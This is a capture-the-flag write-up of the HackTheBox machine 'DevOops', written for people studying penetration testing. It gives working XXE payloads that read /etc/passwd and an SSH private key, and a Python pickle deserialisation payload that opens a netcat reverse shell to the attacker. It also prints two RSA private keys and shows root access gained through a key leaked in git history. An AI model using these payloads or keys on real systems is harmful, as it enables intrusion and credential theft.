HackTheBox – DevOops

This is a box whose exploit vector I’m not sure is in the PWK syllabus and I was stuck until I viewed hints in the HTB forums. What’s surprising is that after I solved the box and watched IppSec he said the intended way in was actually more complicated and the creator had made a mistake rendering the box easier than it should. Still, the box is worth doing because while the means to compromise may be outside syllabus, the methodology certainly is.

Lessons learned

  • XXE injection attacks
  • Python pickle.load unserialisation attack
  • Identifying and enumerating git repos

Enumeration

Ports 22, 5000 are open.

TCP 5000 Gunicorn

Now what is Gunicorn? This page explains it as

Gunicorn takes care of everything which happens in-between the web server and your web application. This way, when coding up your a Django application you don’t need to find your own solutions for:

* communicating with multiple web servers

* reacting to lots of web requests at once and distributing the load

* keeping multiple processes of the web application running

IppSec describes it as something which sits between Apache/nginx and Python. The landing page:

A nikto scan found nothing, and searchsploit also returned nil.

root@Kali:~/HTB/DevOops# searchsploit Gunicorn
Exploits: No Results
Shellcodes: No Results
Papers: No Results

dirbuster took too long and I switched to gobuster, which still took an hour to complete.

root@Kali:~/HTB/DevOops# gobuster dir -u http://10.10.10.91:5000/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -x .php,.txt,.html,.conf,.bak,.sh,.pl,.cgi --timeout 40s -t 180
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.91:5000/
[+] Threads:        180
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html,conf,bak,sh,pl,cgi,php,txt
[+] Timeout:        40s
===============================================================
2020/09/24 23:15:50 Starting gobuster
===============================================================
/feed (Status: 200)
/upload (Status: 200)
[ERROR] 2020/09/24 23:55:32 [!] Get http://10.10.10.91:5000/dotnetfrmess3: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/09/25 00:06:03 [!] Get http://10.10.10.91:5000/1813228.sh: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
===============================================================
2020/09/25 00:16:01 Finished
===============================================================

/feed

This just displayed the pic you see above on the landing page. I analyzed the picture as detailed here but found nothing.

/upload

This was more promising. I tried uploading txt, php files but didn’t succeed even after obfuscating the file type to bypass filters.

XXE – XML External Entity injection

The key to compromising this is to first understand what XXE is. I watched this video to understand it

Figuring out the XML format

We need to figure out what kind of XML format is accepted first. The upload page tells us three tags are needed Author, Subject and Content. 0xdf figures this out by looking at his own blog feed and noticing some tags are wrapped around with an <entry> tag. So if you upload LFI.xml with

<entry>
<Author>Tester</Author>
<Subject>Tests</Subject>
<Content>Testing</Content> 
</entry>

you’ll see

 PROCESSED BLOGPOST: 
  Author: Tester
 Subject: Tests
 Content: Testing
 URL for later reference: /uploads/LFI.xml
 File path: /home/roosa/deploy/src

Visiting that URL shows

Right so we figured out a format. Now let’s use a payload which enables LFI.

XXE LFI

HackTricks is my go-to for all kinds of attacks, and using their payload

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

we can modify it by adding <entry> tags to give LFIpasswd.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<entry>
<Author>Tester</Author>
<Subject>Tests</Subject>
<Content>&xxe;</Content>
</entry>

and this gives

 PROCESSED BLOGPOST: 
  Author: Tester
 Subject: Tests
 Content: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/false
git:x:1001:1001:git,,,:/home/git:/bin/bash
roosa:x:1002:1002:,,,:/home/roosa:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
blogfeed:x:1003:1003:,,,:/home/blogfeed:/bin/false

 URL for later reference: /uploads/LFIpasswd.xml
 File path: /home/roosa/deploy/src

Great it worked. On some Linux systems, viewing /proc/self/status tells us which user the Web app is running as, so trying that here we see

 PROCESSED BLOGPOST: 
  Author: Tester
 Subject: Tests
 Content: Name:	gunicorn
Umask:	0002
State:	R (running)
Tgid:	1293
Ngid:	0
Pid:	1293
PPid:	1285
TracerPid:	0
Uid:	1002	1002	1002	1002
Gid:	1002	1002	1002	1002
FDSize:	32
Groups:	4 27 1002 
NStgid:	1293
NSpid:	1293
NSpgid:	1282
NSsid:	1282
VmPeak:	   22420 kB
VmSize:	   22332 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	   15756 kB
VmRSS:	   15744 kB
RssAnon:	   10952 kB
RssFile:	    4792 kB
RssShmem:	       0 kB
VmData:	   11316 kB
VmStk:	     132 kB
VmExe:	    3172 kB
VmLib:	    5464 kB
VmPTE:	      56 kB
VmPMD:	      12 kB
VmSwap:	       0 kB
HugetlbPages:	       0 kB
Threads:	1
SigQ:	0/7610
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000001001000
SigCgt:	0000000188304226
CapInh:	0000000000000000
CapPrm:	0000000000000000
CapEff:	0000000000000000
CapBnd:	0000003fffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Cpus_allowed:	1
Cpus_allowed_list:	0
Mems_allowed:	1
Mems_allowed_list:	0
voluntary_ctxt_switches:	188
nonvoluntary_ctxt_switches:	41

 URL for later reference: /uploads/payload.xml
 File path: /home/roosa/deploy/src

Referencing /etc/passwd above we see the app is running as roosa, which has a login bash shell. This gives us some idea what to do next.

Exploitation – Stealing SSH private keys (Easy)

Since we have LFI and SSH is open, we can try to fish for ~/.ssh/id_rsa. We change our LFI payload to /home/roosa/.ssh/id_rsa in payload.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/roosa/.ssh/id_rsa"> ]>
<entry>
<Author>Tester</Author>
<Subject>Tests</Subject>
<Content>&xxe;</Content>
</entry>

and we get

 PROCESSED BLOGPOST: 
  Author: Tester
 Subject: Tests
 Content: -----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7
9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J
R/R+exNggHuqsp8rrcHq96lbXtORy8SOliUjfspPsWfY7JbktKyaQK0JunR25jVk
v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4
9QIQQnoi6DP3+7ErQSd6QGTq5mCvszpnTUsmwFj5JRdhjGszt0zBGllsVn99O90K
m3pN8SN1yWCTal6FLUiuxXg99YSV0tEl0rfSUwIDAQABAoIBAB6rj69jZyB3lQrS
JSrT80sr1At6QykR5ApewwtCcatKEgtu1iWlHIB9TTUIUYrYFEPTZYVZcY50BKbz
ACNyme3rf0Q3W+K3BmF//80kNFi3Ac1EljfSlzhZBBjv7msOTxLd8OJBw8AfAMHB
lCXKbnT6onYBlhnYBokTadu4nbfMm0ddJo5y32NaskFTAdAG882WkK5V5iszsE/3
koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7
e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe
8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ
Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6
NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93
hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0
ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk
A3+XsGjUpXv9TMt8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw
agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BGIO86eqPkt/lHfD3R
KRSeBfzY4VotzatO5wNmIjfExqJY1lL2SOkoXL5wwZgiWPxD00jM4wUapxAF4r2v
vR7Gs1zJJuE4FpOlF6SFJQKBgHbHBHa5e9iFVOSzgiq2GA4qqYG3RtMq/hcSWzh0
8MnE1MBL+5BJY3ztnnfJEQC9GZAyjh2KXLd6XlTZtfK4+vxcBUDk9x206IFRQOSn
y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl
aw0tAoGAGkndihmC5PayKdR1PYhdlVIsfEaDIgemK3/XxvnaUUcuWi2RhX3AlowG
xgQt1LOdApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq
82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s=
-----END RSA PRIVATE KEY-----

 URL for later reference: /uploads/payload.xml
 File path: /home/roosa/deploy/src

Copy this into file roosa_key and we can login with it

root@Kali:~/HTB/DevOops# ssh roosa@10.10.10.91 -i roosa_key 
load pubkey "roosa_key": invalid format
The authenticity of host '10.10.10.91 (10.10.10.91)' can't be established.
ECDSA key fingerprint is SHA256:hbD2D4PdnIVpAFHV8sSAbtM0IlTAIpYZ/nwspIdp4Vg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.91' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

135 packages can be updated.
60 updates are security updates.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

roosa@gitter:~$ 

Exploitation – Python Pickle deserialisation attack (Medium)

This is the harder but apparently the intended way in. Since we have LFI and we can view any file, let’s look at feed.py which we know is run by the Web application via Gunicorn. If we replace the XML with

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "feed.py"> ]>
<Anything>
<Author>Tester</Author>
<Subject>Tests</Subject>
<Content>&xxe;</Content>
</Anything>

and using Burp we see in the HTTP history capture

HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Sat, 26 Sep 2020 08:46:17 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 1061

 PROCESSED BLOGPOST: 
  Author: Tester
 Subject: Tests
 Content: ')
def uploaded_file(filename):
    return send_from_directory(Config.UPLOAD_FOLDER,
                               filename)

@app.route("/")
def xss():
    return template('index.html')

@app.route("/feed")
def fakefeed():
   return send_from_directory(".","devsolita-snapshot.png")

@app.route("/newpost", methods=["POST"])
def newpost():
  # TODO: proper save to database, this is for testing purposes right now
  picklestr = base64.urlsafe_b64decode(request.data)
#  return picklestr
  postObj = pickle.loads(picklestr)
  return "POST RECEIVED: " + postObj['Subject']


## TODO: VERY important! DISABLED THIS IN PRODUCTION
#app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')

if __name__ == "__main__":
  app.run(host='0.0.0,0', Debug=True)


 URL for later reference: /uploads/payload.xml
 File path: /home/roosa/deploy/src

The source code of feed.py is actually chopped off, only that after ‘)’ is shown. But we see that there is some unserialisation from base64 encoded string, which then undergoes pickle.loads()

 # TODO: proper save to database, this is for testing purposes right now
  picklestr = base64.urlsafe_b64decode(request.data)
#  return picklestr
  postObj = pickle.loads(picklestr)

This is an unsafe method which I learned from natas earlier and HackTricks has a page showing how to pull it off

import cPickle, os, base64
class P(object):
    def __reduce__(self):
        return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(cPickle.dumps(P())))

But first the Web page hosting that method /newpost has to exist. If we go there in the browser it says

Method Not Allowed

The method is not allowed for the requested URL.

but that’s because as the code says it works for POST not GET requests methods=["POST"]. Let’s generate the payload by modifying HackTrick’s code

root@Kali:~/HTB/DevOops# cat pickle.py 
import cPickle, os, base64
class P(object):
    def __reduce__(self):
        return (os.system,('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.78 443 >/tmp/f',))
print(base64.b64encode(cPickle.dumps(P())))

root@Kali:~/HTB/DevOops# python pickle.py 
Y3Bvc2l4CnN5c3RlbQpwMQooUydybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vYmFzaCAtaSAyPiYxfG5jIDEwLjEwLjE0Ljc4IDQ0MyA+L3RtcC9mJwpwMgp0cDMKUnA0Ci4=

Then send it with Burp, switching GET to POST in the repeater. I removed Content-Length and Content-Type headers first, so we don’t predefine our content.

POST /newpost HTTP/1.1
Host: 10.10.10.91:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 154

Y3Bvc2l4CnN5c3RlbQpwMQooUydybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vYmFzaCAtaSAyPiYxfG5jIDEwLjEwLjE0Ljc4IDQ0MyA+L3RtcC9mJwpwMgp0cDMKUnA0Ci4=

At our listener we get a shell

root@Kali:~/HTB/DevOops# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.78] from (UNKNOWN) [10.10.10.91] 52068
bash: cannot set terminal process group (1279): Inappropriate ioctl for device
bash: no job control in this shell
roosa@gitter:~/deploy/src$ 

Priv esc

I ran just linpeas and later pspy32. Two things stood out. One was CUPS process running on localhost as root, which I investigated here but went nowhere. The other was that linpeas highlighted these SSH keys.

Possible private SSH keys were found!
/etc/ImageMagick-6/mime.xml
/home/roosa/work/blogfeed/resources/integration/authcredentials.key
/home/roosa/deploy/resources/integration/authcredentials.key
/home/roosa/.ssh/id_rsa

roosa@gitter:/var$ cat /home/roosa/work/blogfeed/resources/integration/authcredentials.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE
sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s
ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16
ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h
LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO
JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9
oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM
xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw
vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x
6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+
OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE
4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0
937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94
SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT
Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4
eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd
i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP
6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb
8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV
RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA
qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI
T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----

I verified both keys were the same and tried to login with them

roosa@gitter:/var$ diff /home/roosa/deploy/resources/integration/authcredentials.key /home/roosa/work/blogfeed/resources/integration/authcredentials.key

roosa@gitter:/var$ ssh root@localhost -i /home/roosa/deploy/resources/integration/authcredentials.key
root@localhost's password: 
Permission denied, please try again.
root@localhost's password: 
Permission denied, please try again.
root@localhost's password: 
Permission denied (publickey,password).

It didn’t work. I then looked at roosa’s .bash_history and saw a bunch of git commits. There was a file run-blogfeed.sh in the user /home directory

roosa@gitter:~$ cat run-blogfeed.sh 
#/bin/bash

# TODO: replace with better script and run as blogfeed user which is restricted

cd /home/roosa/work/blogfeed/src
../run-gunicorn.sh

This is actually a git repo, which we can verify if we search for .git with

find / -name .git 2>/dev/null

At this point I should point out I found it quite unusual that with roosa’s account and knowing there’s a git user on the box we could login as git with SSH without any password

roosa@gitter ~/work/blogfeed $ ssh git@localhost
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

135 packages can be updated.
60 updates are security updates.

Last login: Mon Mar 26 08:15:29 2018 from 127.0.0.1
git@gitter:~$

But this can’t be done from outside for some reason

root@Kali:~/HTB/DevOops# ssh git@10.10.10.91
git@10.10.10.91's password:

The git user .bash_history wasn’t particularly interesting. Getting back to the git repo if we do git log to check the commit history we see

commit 7ff507d029021b0915235ff91e6a74ba33009c6d
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 26 06:13:55 2018 -0400

    Use Base64 for pickle feed loading

commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Tue Mar 20 15:37:00 2018 -0400

    Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.

commit cec54d8cb6117fd7f164db142f0348a74d3e9a70
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Tue Mar 20 15:08:09 2018 -0400

    Debug support added to make development more agile.

commit ca3e768f2434511e75bd5137593895bd38e1b1c2
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Tue Mar 20 08:38:21 2018 -0400

    Blogfeed app, initial version.

commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Tue Mar 20 08:37:56 2018 -0400

    Gunicorn startup script

commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:33:06 2018 -0400

    reverted accidental commit with proper key

commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:32:03 2018 -0400


    add key for feed integration from tnerprise backend

commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:24:30 2018 -0400

    Initial commit

We see there are mentions of “keys”. Could that be SSH key by any chance? Let’s check /etc/ssh/sshd_config and we’ll find

PermitRootLogin prohibit-password

which according to man sshd_config

PermitRootLogin
             Specifies whether root can log in using ssh(1).  The argument must be “yes”, “prohibit-password”, “without-password”,
             “forced-commands-only”, or “no”.  The default is “prohibit-password”.

             If this option is set to “prohibit-password” or “without-password”, password and keyboard-interactive authentication are disabled for
             root.

             If this option is set to “forced-commands-only”, root login with public key authentication will be allowed, but only if the command
             option has been specified (which may be useful for taking remote backups even if root login is normally not allowed).  All other
             authentication methods are disabled for root.

             If this option is set to “no”, root is not allowed to log in.

So this means that root user can login via SSH but only with SSH private keys. Could this be the private keys which were mistakenly committed to git and then removed later? After all the box’s name is DevOops. Let’s check with git log -p and we see this when we scroll down.

If you know the commit ID you could check that directly with git diff <commit-ID>. Here we see that some private key was indeed erased. After copying key and removing the dash character preceding each line we find we can login as root.

root@Kali:~/HTB/DevOops# ssh root@10.10.10.91 -i inside_key 
load pubkey "inside_key": invalid format
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'inside_key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "inside_key": bad permissions
root@10.10.10.91's password: 

root@Kali:~/HTB/DevOops# chmod 600 inside_key 
root@Kali:~/HTB/DevOops# ssh root@10.10.10.91 -i inside_key 
load pubkey "inside_key": invalid format
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

135 packages can be updated.
60 updates are security updates.

Last login: Mon Mar 26 06:23:48 2018 from 192.168.57.1
root@gitter:~#